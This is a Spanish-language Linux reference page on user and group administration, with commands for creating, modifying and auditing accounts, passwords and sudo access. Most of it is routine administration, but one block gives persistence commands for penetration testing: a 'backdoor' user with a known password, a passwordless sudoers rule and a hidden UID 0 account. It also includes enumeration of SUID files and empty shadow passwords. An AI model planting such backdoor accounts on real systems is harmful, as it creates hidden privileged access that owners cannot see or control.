Skip to content

Gestión de Usuarios y Grupos

Comandos esenciales para la administración de cuentas de usuario, grupos y control de acceso en sistemas Linux.

Crea nuevas cuentas de usuario en el sistema. Comando fundamental para administración de usuarios y gestión de accesos.

Terminal window
# Crear usuario básico
useradd username
# Crear usuario con directorio home
useradd -m username
# Crear usuario con shell específico
useradd -s /bin/bash username
# Crear usuario con grupo primario
useradd -g groupname username
# Crear usuario con grupos secundarios
useradd -G group1,group2 username
# Crear usuario con UID específico
useradd -u 1001 username
# Crear usuario completo
useradd -m -s /bin/bash -G sudo,users -c "Nombre Completo" username

Modifica cuentas de usuario existentes. Permite cambiar configuraciones sin recrear la cuenta.

Terminal window
# Cambiar shell del usuario
usermod -s /bin/zsh username
# Agregar usuario a grupo
usermod -aG groupname username
# Cambiar grupo primario
usermod -g newgroup username
# Cambiar directorio home
usermod -d /new/home/path username
# Bloquear cuenta
usermod -L username
# Desbloquear cuenta
usermod -U username
# Cambiar UID
usermod -u 1002 username
# Cambiar nombre de usuario
usermod -l newname oldname

Elimina cuentas de usuario del sistema. Importante para limpieza de seguridad y gestión de accesos.

Terminal window
# Eliminar usuario (mantener home)
userdel username
# Eliminar usuario y directorio home
userdel -r username
# Forzar eliminación
userdel -f username

Uso en pentesting: Crear usuarios temporales para persistencia, modificar cuentas existentes para mantener acceso.

Crea nuevos grupos en el sistema. Útil para organización de permisos y control de acceso granular.

Terminal window
# Crear grupo básico
groupadd groupname
# Crear grupo con GID específico
groupadd -g 1001 groupname
# Crear grupo del sistema
groupadd -r systemgroup

Modifica grupos existentes como nombre o GID. Permite reorganizar estructura de grupos sin recrearlos.

Terminal window
# Cambiar nombre del grupo
groupmod -n newname oldname
# Cambiar GID
groupmod -g 1002 groupname

Elimina grupos del sistema. Importante para limpieza y reorganización de permisos.

Terminal window
# Eliminar grupo
groupdel groupname
Terminal window
# Agregar usuario al grupo
gpasswd -a username groupname
# Eliminar usuario del grupo
gpasswd -d username groupname
# Establecer administradores del grupo
gpasswd -A admin1,admin2 groupname
# Establecer miembros del grupo
gpasswd -M user1,user2,user3 groupname

Muestra UID, GID y grupos de un usuario. Comando fundamental para verificación de identidad y permisos.

Terminal window
# Información del usuario actual
id
# Información de usuario específico
id username
# Solo UID
id -u username
# Solo GID
id -g username
# Todos los grupos
id -G username
# Nombres de grupos
id -Gn username
Terminal window
whoami

Muestra grupos a los que pertenece un usuario. Útil para auditoría de permisos y verificación de accesos.

Terminal window
# Grupos del usuario actual
groups
# Grupos de usuario específico
groups username

getent - Consultar bases de datos del sistema

Section titled “getent - Consultar bases de datos del sistema”

Consulta información de usuarios y grupos desde diversas fuentes. Útil para sistemas con LDAP o NIS.

Terminal window
# Información de usuario
getent passwd username
# Información de grupo
getent group groupname
# Todos los usuarios
getent passwd
# Todos los grupos
getent group
# Usuarios con UID específico
getent passwd 1000
Terminal window
# Formato: username:x:UID:GID:comment:home:shell
cat /etc/passwd
# Buscar usuario específico
grep username /etc/passwd
# Usuarios con shell de login
grep -v "/nologin\|/false" /etc/passwd
# Usuarios del sistema (UID < 1000)
awk -F: '$3 < 1000 {print $1}' /etc/passwd
Terminal window
# Ver información de contraseñas (requiere root)
sudo cat /etc/shadow
# Formato: username:password:lastchange:min:max:warn:inactive:expire:reserved
# Usuarios sin contraseña
sudo awk -F: '$2 == "" {print $1}' /etc/shadow
# Cuentas bloqueadas
sudo awk -F: '$2 ~ /^!/ {print $1}' /etc/shadow
Terminal window
# Ver todos los grupos
cat /etc/group
# Formato: groupname:x:GID:members
# Buscar grupo específico
grep groupname /etc/group
# Grupos con miembros específicos
grep username /etc/group

Gestiona contraseñas de usuarios. Comando crítico para seguridad y gestión de credenciales.

Terminal window
# Cambiar contraseña propia
passwd
# Cambiar contraseña de otro usuario (root)
passwd username
# Eliminar contraseña (¡PELIGROSO!)
passwd -d username
# Bloquear cuenta
passwd -l username
# Desbloquear cuenta
passwd -u username
# Forzar cambio en próximo login
passwd -e username
# Ver estado de la contraseña
passwd -S username

Configura políticas de expiración de contraseñas. Importante para cumplimiento de políticas de seguridad. de contraseñas

Terminal window
# Ver información de aging
chage -l username
# Establecer fecha de expiración
chage -E 2024-12-31 username
# Días máximos entre cambios
chage -M 90 username
# Días mínimos entre cambios
chage -m 7 username
# Días de advertencia antes de expiración
chage -W 14 username
# Forzar cambio en próximo login
chage -d 0 username

Cambia a otro usuario temporalmente. Comando básico para escalación de privilegios y testing.

Terminal window
# Cambiar a root
su
# Cambiar a usuario específico
su username
# Cambiar con entorno completo
su - username
# Ejecutar comando como otro usuario
su -c "command" username
# Preservar entorno
su -p username

Ejecuta comandos con privilegios de otro usuario. Sistema moderno y seguro para escalación de privilegios.

Terminal window
# Ejecutar comando como root
sudo command
# Ejecutar como usuario específico
sudo -u username command
# Cambiar a shell de root
sudo -i
# Cambiar a usuario específico
sudo -i -u username
# Listar permisos sudo
sudo -l
# Editar archivo con privilegios
sudo -e /etc/hosts
Terminal window
# Cambiar a grupo específico
newgrp groupname
# Volver al grupo original
exit
Terminal window
# Usuarios con shell de login
cat /etc/passwd | grep -E "/bin/(bash|sh|zsh|fish)"
# Usuarios con UID 0 (root)
awk -F: '$3 == 0 {print $1}' /etc/passwd
# Usuarios en grupo sudo/wheel
grep -E "^(sudo|wheel|admin)" /etc/group
# Usuarios con directorio home
ls -la /home/
# Últimos logins
last | head -20
Terminal window
# Verificar permisos sudo del usuario actual
sudo -l 2>/dev/null
# Buscar archivos SUID de usuarios específicos
find / -user root -perm -4000 2>/dev/null
# Verificar membresía en grupos privilegiados
id | grep -E "(sudo|wheel|admin|root)"
# Buscar usuarios sin contraseña
sudo awk -F: '$2 == "" {print $1}' /etc/shadow 2>/dev/null
Terminal window
# Crear usuario backdoor
sudo useradd -m -s /bin/bash -G sudo backdoor
echo 'backdoor:password' | sudo chpasswd
# Agregar usuario a sudoers sin contraseña
echo 'backdoor ALL=(ALL) NOPASSWD:ALL' | sudo tee /etc/sudoers.d/backdoor
# Crear usuario con UID 0 (root alternativo)
sudo useradd -u 0 -g 0 -M -s /bin/bash rootuser
Terminal window
# Usuarios con contraseñas débiles o vacías
sudo awk -F: '$2 == "" || $2 == "!" {print $1}' /etc/shadow
# Cuentas inactivas
sudo lastlog | awk '$2 == "**Never" {print $1}'
# Usuarios con shells no estándar
awk -F: '$7 !~ /(bash|sh|zsh|fish|nologin|false)$/ {print $1":"$7}' /etc/passwd
# Grupos con muchos miembros
awk -F: 'NF > 3 {print $1":"$4}' /etc/group | sort
#!/bin/bash
read -p "Nombre de usuario: " username
read -p "Nombre completo: " fullname
read -s -p "Contraseña: " password
echo
# Crear usuario
useradd -m -s /bin/bash -c "$fullname" "$username"
echo "$username:$password" | chpasswd
# Agregar a grupos básicos
usermod -aG users,sudo "$username"
# Configurar expiración de contraseña
chage -M 90 -W 14 "$username"
echo "Usuario $username creado exitosamente"
#!/bin/bash
echo "=== AUDITORÍA DE USUARIOS ==="
echo "Usuarios con shell de login:"
grep -E "/bin/(bash|sh|zsh)" /etc/passwd | cut -d: -f1
echo -e "\nUsuarios en grupo sudo:"
grep "^sudo:" /etc/group | cut -d: -f4 | tr ',' '\n'
echo -e "\nUsuarios sin contraseña:"
sudo awk -F: '$2 == "" {print $1}' /etc/shadow 2>/dev/null
echo -e "\nÚltimos logins:"
last | head -10
Terminal window
# Configurar política en /etc/login.defs
PASS_MAX_DAYS 90
PASS_MIN_DAYS 7
PASS_WARN_AGE 14
PASS_MIN_LEN 8
# Configurar complejidad con PAM
# /etc/pam.d/common-password
password requisite pam_pwquality.so retry=3 minlen=8 difok=3
/etc/ssh/sshd_config
# Limitar acceso SSH por usuario
AllowUsers user1 user2
DenyUsers baduser
# Configurar tiempo de inactividad
# /etc/profile
TMOUT=1800

Nota de Seguridad: La gestión incorrecta de usuarios y grupos puede comprometer la seguridad del sistema. Siempre sigue el principio de menor privilegio y audita regularmente las cuentas de usuario.